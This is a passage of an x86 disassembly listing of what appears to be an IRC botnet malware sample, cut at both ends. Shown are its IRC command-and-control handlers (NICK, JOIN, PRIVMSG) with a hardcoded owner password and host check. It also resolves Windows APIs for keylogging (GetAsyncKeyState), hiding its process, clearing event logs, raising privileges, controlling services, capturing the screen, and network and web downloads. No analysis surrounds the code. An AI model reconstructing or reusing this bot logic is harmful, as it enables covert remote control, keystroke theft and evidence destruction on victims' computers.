		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	esi
		push	offset unk_429D1C
		jmp	loc_40963D
; ---------------------------------------------------------------------------


loc_409515:				; CODE XREF: sub_401ACD+3D57j
					; sub_401ACD+3D6Ej
		push	edi
		push	offset dword_42A24C
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	edi
		push	offset unk_429CFC
		jmp	loc_40963D
; ---------------------------------------------------------------------------


loc_409531:				; CODE XREF: sub_401ACD+3D29j
					; sub_401ACD+3D40j
		push	[ebp+esi+var_88]
		push	edi
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 10h
		push	edi
		push	offset unk_429CDC
		jmp	loc_40963D
; ---------------------------------------------------------------------------


loc_409554:				; CODE XREF: sub_401ACD+3CFBj
					; sub_401ACD+3D12j
		push	edi
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	edi
		push	offset unk_429CB8
		jmp	loc_40963D
; ---------------------------------------------------------------------------


loc_409570:				; CODE XREF: sub_401ACD+3123j
					; sub_401ACD+313Aj
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	edi
		push	offset unk_429C98
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		push	edi
		call	sub_41C159
		add	esp, 14h


loc_4095A6:				; CODE XREF: sub_401ACD+7B23j
		push	eax
		nop
		call	near ptr 26A0000h


loc_4095AD:				; CODE XREF: sub_401ACD+2A5Fj
		xor	eax, eax
		jmp	loc_401F78
; ---------------------------------------------------------------------------


loc_4095B4:				; CODE XREF: sub_401ACD+30F5j
					; sub_401ACD+310Cj
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	edi
		push	offset unk_429C70
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		push	edi
		call	sub_41C159
		add	esp, 14h
		imul	eax, 3E8h
		jmp	short loc_4095A6
; ---------------------------------------------------------------------------


loc_4095F2:				; CODE XREF: sub_401ACD+EADj
					; sub_401ACD+EC2j
		push	[ebp+esi+var_8C]
		xor	eax, eax
		cmp	[ebp+var_8F0], bl
		setnz	al
		push	eax
		lea	eax, [ebp+var_338]
		push	dword_42909C
		push	eax
		call	sub_40AE84
		add	esp, 10h
		lea	eax, [ebp+var_338]
		push	eax
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		lea	eax, [ebp+var_338]
		push	eax
		push	offset unk_429C4C


loc_40963D:				; CODE XREF: sub_401ACD+6FCCj
					; sub_401ACD+75F1j ...
		call	sub_415DAC
		pop	ecx


loc_409643:				; CODE XREF: sub_401ACD+6BD8j
		pop	ecx


loc_409644:				; CODE XREF: sub_401ACD+63Dj
					; sub_401ACD+649j ...
		mov	eax, [ebp+arg_24]
		jmp	loc_401F78
; ---------------------------------------------------------------------------


loc_40964C:				; CODE XREF: sub_401ACD+A98j
					; sub_401ACD+AADj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_20], esi
		jz	loc_401F75
		cmp	[ebp+var_A4], ebx
		jnz	loc_401F75
		push	offset asc_42CDBC ; "!"
		push	[ebp+var_90]
		call	sub_41CAD4
		mov	esi, eax
		push	offset word_4CB88C
		push	ebx
		inc	esi
		call	sub_41CAD4
		push	offset asc_429C48 ; "~"
		push	eax
		call	sub_41CAD4
		push	[ebp+arg_20]
		mov	edi, eax
		push	offset aCool	; "cool"
		call	sub_41CA50
		add	esp, 20h
		test	eax, eax
		jz	short loc_4096EB
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 14h
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset unk_429BC8
		jmp	loc_4023EE
; ---------------------------------------------------------------------------


loc_4096EB:				; CODE XREF: sub_401ACD+7BDAj
		mov	[ebp+arg_24], offset off_42915C


loc_4096F2:				; CODE XREF: sub_401ACD+7C41j
		mov	eax, [ebp+arg_24]
		push	edi
		push	dword ptr [eax]
		call	sub_40B713
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409752
		add	[ebp+arg_24], 4
		cmp	[ebp+arg_24], offset off_429160
		jb	short loc_4096F2
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 14h
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset unk_429B74
		jmp	loc_4023EE
; ---------------------------------------------------------------------------


loc_409752:				; CODE XREF: sub_401ACD+7C34j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_409757:				; CODE XREF: sub_401ACD+7CB4j
		cmp	[ebp+arg_20], ebx
		jz	loc_401F75
		cmp	[edi], bl
		jnz	short loc_409777
		push	[ebp+arg_20]
		push	offset aCool	; "cool"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409788


loc_409777:				; CODE XREF: sub_401ACD+7C95j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_409757
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_409788:				; CODE XREF: sub_401ACD+7CA8j
		shl	esi, 7
		add	esi, [ebp+arg_18]
		lea	eax, [ebp+var_E04]
		push	7Fh
		push	eax
		push	esi
		call	sub_41BFD0
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4097BF
		push	ebx
		push	[ebp+var_4]
		push	offset unk_429B54
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_4097BF:				; CODE XREF: sub_401ACD+7CD6j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_429B34


loc_4097CB:				; CODE XREF: sub_401ACD+595j
					; sub_401ACD+2889j ...
		call	sub_415DAC


loc_4097D0:				; CODE XREF: sub_401ACD+1B81j
		pop	ecx


loc_4097D1:				; CODE XREF: sub_401ACD+24FDj
		pop	ecx
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_4097D7:				; CODE XREF: sub_401ACD+20Ej
					; sub_401ACD+223j
		push	[ebp+arg_10]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	offset aXI	; "-x+i"
		push	[ebp+arg_10]
		push	offset aModeSS_0 ; "MODE %s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 10h
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 10h
		mov	dword_4CB884, edi
		jmp	loc_401D6A
sub_401ACD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409823	proc near		; CODE XREF: sub_401955+3Dp
					; sub_401ACD+1CBp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	200h
		push	eax
		call	sub_41CB70
		add	esp, 10h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA24
		leave
		retn
sub_409823	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409869	proc near		; CODE XREF: sub_401ACD+506p
					; sub_401ACD+134Ep ...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_409884
		mov	edi, offset aPrivmsg ; "PRIVMSG"


loc_409884:				; CODE XREF: sub_409869+14j
		push	edi
		call	sub_41B9C0
		push	[ebp+arg_4]
		mov	esi, 1FAh
		sub	esi, eax
		call	sub_41B9C0
		pop	ecx
		sub	esi, eax
		pop	ecx
		lea	eax, [ebp+var_400]
		push	[ebp+arg_8]
		push	offset aS_1	; "%s"
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	edi
		push	offset aSSS_0	; "%s %s :%s\r\n"
		push	eax
		call	sub_41C266
		add	esp, 14h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA24
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_409907
		push	7D0h
		nop
		call	near ptr 26A0000h

locret_409907:				; CODE XREF: sub_409869+91j
		leave
		retn
sub_409869	endp


; =============== S U B	R O U T	I N E =======================================



sub_409909	proc near		; CODE XREF: ___:0040126Cp
		push	ebx
		push	ebp
		mov	ebp, dword_4270A4
		push	esi
		push	edi
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ebp
		mov	esi, dword_4270C4
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_409A29
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_4CBA80, eax
		call	esi
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_4CB9F4, eax
		call	esi
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_4CB9D8, eax
		call	esi
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_4CB8E8, eax
		call	esi
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	dword_4CB894, eax
		call	esi
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	dword_4CB8C4, eax
		call	esi
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	dword_4CB93C, eax
		call	esi
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	dword_4CBA34, eax
		call	esi
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	dword_4CBA90, eax
		call	esi
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	dword_4CB8F4, eax
		call	esi
		cmp	dword_4CBA80, ebx
		mov	dword_4CB8DC, eax
		jz	short loc_409A07
		cmp	dword_4CB9F4, ebx
		jz	short loc_409A07
		cmp	dword_4CB9D8, ebx
		jz	short loc_409A07
		cmp	dword_4CB8E8, ebx
		jz	short loc_409A07
		cmp	dword_4CB8C4, ebx
		jz	short loc_409A07
		cmp	dword_4CB93C, ebx
		jz	short loc_409A07
		cmp	dword_4CBA34, ebx
		jz	short loc_409A07
		cmp	dword_4CBA90, ebx
		jz	short loc_409A07
		cmp	dword_4CB8F4, ebx
		jz	short loc_409A07
		cmp	eax, ebx
		jnz	short loc_409A11


loc_409A07:				; CODE XREF: sub_409909+B8j
					; sub_409909+C0j ...
		mov	dword_4CBA94, 1


loc_409A11:				; CODE XREF: sub_409909+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_4CBA0C, eax
		jz	short loc_409A3E
		push	1
		push	ebx
		call	eax
		jmp	short loc_409A3E
; ---------------------------------------------------------------------------


loc_409A29:				; CODE XREF: sub_409909+1Dj
		nop
		call	near ptr 26A096Ch
		mov	dword_4CBA98, eax
		mov	dword_4CBA94, 1


loc_409A3E:				; CODE XREF: sub_409909+117j
					; sub_409909+11Ej
		push	offset aUser32_dll ; "user32.dll"
		call	near ptr 26C0B98h
		nop
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409B53
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	dword_4CBA30, eax
		call	esi
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	dword_4CB9E0, eax
		call	esi
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	dword_4CB974, eax
		call	esi
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	dword_4CBA84, eax
		call	esi
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	dword_4CB9A4, eax
		call	esi
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	dword_4CB9C4, eax
		call	esi
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	dword_4CBA28, eax
		call	esi
		cmp	dword_4CBA30, ebx
		mov	dword_4CB914, eax
		jz	short loc_409AF7
		cmp	dword_4CB9E0, ebx
		jz	short loc_409AF7
		cmp	dword_4CB974, ebx
		jz	short loc_409AF7
		cmp	dword_4CBA84, ebx
		jz	short loc_409AF7
		cmp	dword_4CB9A4, ebx
		jz	short loc_409AF7
		cmp	dword_4CB9C4, ebx
		jz	short loc_409AF7
		cmp	dword_4CBA28, ebx
		jz	short loc_409AF7
		cmp	eax, ebx
		jnz	short loc_409B01


loc_409AF7:				; CODE XREF: sub_409909+1B8j
					; sub_409909+1C0j ...
		mov	dword_4CBA9C, 1


loc_409B01:				; CODE XREF: sub_409909+1ECj
		push	offset aGetasynckeysta ; "GetAsyncKeyState"
		push	edi
		call	esi
		push	offset aGetkeystate ; "GetKeyState"
		push	edi
		mov	dword_4CB9A0, eax
		call	esi
		push	offset aGetwindowtexta ; "GetWindowTextA"
		push	edi
		mov	dword_4CB8A8, eax
		call	esi
		push	offset aGetforegroundw ; "GetForegroundWindow"
		push	edi
		mov	dword_4CB970, eax
		call	esi
		cmp	dword_4CB9A0, ebx
		mov	dword_4CB958, eax
		jz	short loc_409B5E
		cmp	dword_4CB8A8, ebx
		jz	short loc_409B5E
		cmp	dword_4CB970, ebx
		jz	short loc_409B5E
		cmp	eax, ebx
		jnz	short loc_409B68
		jmp	short loc_409B5E
; ---------------------------------------------------------------------------


loc_409B53:				; CODE XREF: sub_409909+144j
		nop
		call	near ptr 26A096Ch
		mov	dword_4CBAA0, eax


loc_409B5E:				; CODE XREF: sub_409909+232j
					; sub_409909+23Aj ...
		mov	dword_4CBA9C, 1


loc_409B68:				; CODE XREF: sub_409909+246j
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409D21
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	dword_4CBA44, eax
		call	esi
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	dword_4CB988, eax
		call	esi
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	dword_4CB9F8, eax
		call	esi
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	dword_4CB8D4, eax
		call	esi
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	dword_4CB938, eax
		call	esi
		push	offset aOpeneventloga ;	"OpenEventLogA"
		push	edi
		mov	dword_4CB9B0, eax
		call	esi
		push	offset aCleareventloga ; "ClearEventLogA"
		push	edi
		mov	dword_4CB954, eax
		call	esi
		cmp	dword_4CBA44, ebx
		mov	dword_4CB964, eax
		jz	short loc_409C11
		cmp	dword_4CB988, ebx
		jz	short loc_409C11
		cmp	dword_4CB9F8, ebx
		jz	short loc_409C11
		cmp	dword_4CB8D4, ebx
		jz	short loc_409C11
		cmp	dword_4CB938, ebx
		jz	short loc_409C11
		cmp	dword_4CB9B0, ebx
		jnz	short loc_409C1B


loc_409C11:				; CODE XREF: sub_409909+2DEj
					; sub_409909+2E6j ...
		mov	dword_4CBAA4, 1


loc_409C1B:				; CODE XREF: sub_409909+306j
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	dword_4CB9B8, eax
		call	esi
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	dword_4CB990, eax
		call	esi
		cmp	dword_4CB9B8, ebx
		mov	dword_4CBA40, eax
		jz	short loc_409C56
		cmp	dword_4CB990, ebx
		jz	short loc_409C56
		cmp	eax, ebx
		jnz	short loc_409C60


loc_409C56:				; CODE XREF: sub_409909+33Fj
					; sub_409909+347j
		mov	dword_4CBAA4, 1


loc_409C60:				; CODE XREF: sub_409909+34Bj
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	dword_4CB9C8, eax
		call	esi
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	dword_4CB8B0, eax
		call	esi
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	dword_4CB8B8, eax
		call	esi
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	dword_4CB91C, eax
		call	esi
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	dword_4CB920, eax
		call	esi
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	dword_4CB8CC, eax
		call	esi
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	dword_4CB994, eax
		call	esi
		cmp	dword_4CB9C8, ebx
		mov	dword_4CB8BC, eax
		jz	short loc_409D04
		cmp	dword_4CB8B0, ebx
		jz	short loc_409D04
		cmp	dword_4CB8B8, ebx
		jz	short loc_409D04
		cmp	dword_4CB91C, ebx
		jz	short loc_409D04
		cmp	dword_4CB920, ebx
		jz	short loc_409D04
		cmp	dword_4CB8CC, ebx
		jz	short loc_409D04
		cmp	dword_4CB994, ebx
		jz	short loc_409D04
		cmp	eax, ebx
		jnz	short loc_409D0E


loc_409D04:				; CODE XREF: sub_409909+3C5j
					; sub_409909+3CDj ...
		mov	dword_4CBAA4, 1


loc_409D0E:				; CODE XREF: sub_409909+3F9j
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_4CB8B4, eax
		jnz	short loc_409D36
		jmp	short loc_409D2C
; ---------------------------------------------------------------------------


loc_409D21:				; CODE XREF: sub_409909+26Aj
		call	near ptr 26A096Ch
		nop
		mov	dword_4CBAA8, eax


loc_409D2C:				; CODE XREF: sub_409909+416j
		mov	dword_4CBAA4, 1


loc_409D36:				; CODE XREF: sub_409909+414j
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409E02
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	dword_4CB9C0, eax
		call	esi
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	dword_4CBA18, eax
		call	esi
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	dword_4CBA20, eax
		call	esi
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	dword_4CB9DC, eax
		call	esi
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	dword_4CB8F8, eax
		call	esi
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	dword_4CB8A4, eax
		call	esi
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	dword_4CBA1C, eax
		call	esi
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	dword_4CB890, eax
		call	esi
		cmp	dword_4CB9C0, ebx
		mov	dword_4CB930, eax
		jz	short loc_409E0D
		cmp	dword_4CBA18, ebx
		jz	short loc_409E0D
		cmp	dword_4CBA20, ebx
		jz	short loc_409E0D
		cmp	dword_4CB9DC, ebx
		jz	short loc_409E0D
		cmp	dword_4CB8F8, ebx
		jz	short loc_409E0D
		cmp	dword_4CB8A4, ebx
		jz	short loc_409E0D
		cmp	dword_4CBA1C, ebx
		jz	short loc_409E0D
		cmp	dword_4CB890, ebx
		jz	short loc_409E0D
		cmp	eax, ebx
		jnz	short loc_409E17
		jmp	short loc_409E0D
; ---------------------------------------------------------------------------


loc_409E02:				; CODE XREF: sub_409909+438j
		nop
		call	near ptr 26A096Ch
		mov	dword_4CBAB0, eax


loc_409E0D:				; CODE XREF: sub_409909+4B9j
					; sub_409909+4C1j ...
		mov	dword_4CBAAC, 1


loc_409E17:				; CODE XREF: sub_409909+4F5j
		mov	ebp, dword_4270C0
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A0D3
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	dword_4CB944, eax
		call	esi
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	dword_4CBA78, eax
		call	esi
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	dword_4CB8E4, eax
		call	esi
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	dword_4CB8C0, eax
		call	esi
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	dword_4CB980, eax
		call	esi
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	dword_4CB968, eax
		call	esi
		push	offset aSocket	; "socket"
		push	edi
		mov	dword_4CB92C, eax
		call	esi
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	dword_4CBA54, eax
		call	esi
		push	offset aConnect	; "connect"
		push	edi
		mov	dword_4CBA70, eax
		call	esi
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	dword_4CB97C, eax
		call	esi
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	dword_4CBA60, eax
		call	esi
		push	offset aHtons	; "htons"
		push	edi
		mov	dword_4CBA14, eax
		call	esi
		push	offset aHtonl	; "htonl"
		push	edi
		mov	dword_4CB9D4, eax
		call	esi
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	dword_4CB9D0, eax
		call	esi
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	dword_4CB904, eax
		call	esi
		push	offset aSend	; "send"
		push	edi
		mov	dword_4CB8FC, eax
		call	esi
		push	offset aSendto	; "sendto"
		push	edi
		mov	dword_4CBA24, eax
		call	esi
		push	offset aRecv	; "recv"
		push	edi
		mov	dword_4CBA38, eax
		call	esi
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	dword_4CB9EC, eax
		call	esi
		mov	dword_4CB9AC, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi
		push	offset aSelect	; "select"
		push	edi
		mov	dword_4CBA00, eax
		call	esi
		push	offset aListen	; "listen"
		push	edi
		mov	dword_4CB9BC, eax
		call	esi
		push	offset aAccept	; "accept"
		push	edi
		mov	dword_4CB9FC, eax
		call	esi
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	dword_4CBA68, eax
		call	esi
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	dword_4CB9B4, eax
		call	esi
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	dword_4CB978, eax
		call	esi
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	dword_4CB9E8, eax
		call	esi
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	dword_4CBA58, eax
		call	esi
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	dword_4CB98C, eax
		call	esi
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	dword_4CB928, eax
		call	esi
		cmp	dword_4CB944, ebx
		mov	dword_4CBA6C, eax
		jz	loc_40A0DE
		cmp	dword_4CBA78, ebx
		jz	loc_40A0DE
		cmp	dword_4CB8E4, ebx
		jz	loc_40A0DE
		cmp	dword_4CB980, ebx
		jz	loc_40A0DE
		cmp	dword_4CB968, ebx
		jz	loc_40A0DE
		cmp	dword_4CB92C, ebx
		jz	loc_40A0DE
		cmp	dword_4CBA54, ebx
		jz	loc_40A0DE
		cmp	dword_4CBA70, ebx
		jz	loc_40A0DE
		cmp	dword_4CB97C, ebx
		jz	loc_40A0DE
		cmp	dword_4CBA60, ebx
		jz	loc_40A0DE
		cmp	dword_4CBA14, ebx
		jz	loc_40A0DE
		cmp	dword_4CB9D4, ebx
		jz	loc_40A0DE
		cmp	dword_4CB9D0, ebx
		jz	loc_40A0DE
		cmp	dword_4CB904, ebx
		jz	short loc_40A0DE
		cmp	dword_4CBA24, ebx
		jz	short loc_40A0DE
		cmp	dword_4CBA38, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB9EC, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB9AC, ebx
		jz	short loc_40A0DE
		cmp	dword_4CBA00, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB9BC, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB9FC, ebx
		jz	short loc_40A0DE
		cmp	dword_4CBA68, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB9B4, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB978, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB9E8, ebx
		jz	short loc_40A0DE
		cmp	dword_4CBA58, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB98C, ebx
		jz	short loc_40A0DE
		cmp	eax, ebx
		jnz	short loc_40A0E8
		jmp	short loc_40A0DE
; ---------------------------------------------------------------------------


loc_40A0D3:				; CODE XREF: sub_409909+51Fj
		call	near ptr 26A096Ch
		nop
		mov	dword_4CBAB8, eax


loc_40A0DE:				; CODE XREF: sub_409909+6BEj
					; sub_409909+6CAj ...
		mov	dword_4CBAB4, 1


loc_40A0E8:				; CODE XREF: sub_409909+7C6j
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A1ED
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	dword_4CB910, eax
		call	esi
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	dword_4CB898, eax
		call	esi
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	dword_4CB99C, eax
		call	esi
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	dword_4CB948, eax
		call	esi
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	dword_4CB9A8, eax
		call	esi
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	dword_4CB96C, eax
		call	esi
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	dword_4CB8D8, eax
		call	esi
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	dword_4CB8D0, eax
		call	esi
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	dword_4CB8E0, eax
		call	esi
		cmp	dword_4CB910, ebx
		mov	ecx, dword_4CB96C
		mov	dword_4CBA08, eax
		jz	short loc_40A1C9
		cmp	dword_4CB898, ebx
		jz	short loc_40A1C9
		cmp	dword_4CB99C, ebx
		jz	short loc_40A1C9
		cmp	dword_4CB948, ebx
		jz	short loc_40A1C9
		cmp	dword_4CB9A8, ebx
		jz	short loc_40A1C9
		cmp	ecx, ebx
		jz	short loc_40A1C9
		cmp	dword_4CB8D8, ebx
		jz	short loc_40A1C9
		cmp	dword_4CB8D0, ebx
		jz	short loc_40A1C9
		cmp	dword_4CB8E0, ebx
		jz	short loc_40A1C9
		cmp	eax, ebx
		jnz	short loc_40A1D3


loc_40A1C9:				; CODE XREF: sub_409909+87Ej
					; sub_409909+886j ...
		mov	dword_4CBABC, 1


loc_40A1D3:				; CODE XREF: sub_409909+8BEj
		cmp	ecx, ebx
		jz	short loc_40A208
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx
		cmp	eax, ebx
		mov	dword_4CB984, eax
		jnz	short loc_40A208
		jmp	short loc_40A202
; ---------------------------------------------------------------------------


loc_40A1ED:				; CODE XREF: sub_409909+7EAj
		nop
		call	near ptr 26A096Ch
		mov	dword_4CBAC0, eax
		mov	dword_4CBABC, 1


loc_40A202:				; CODE XREF: sub_409909+8E2j
		mov	dword_4CB984, ebx


loc_40A208:				; CODE XREF: sub_409909+8CCj
					; sub_409909+8E0j
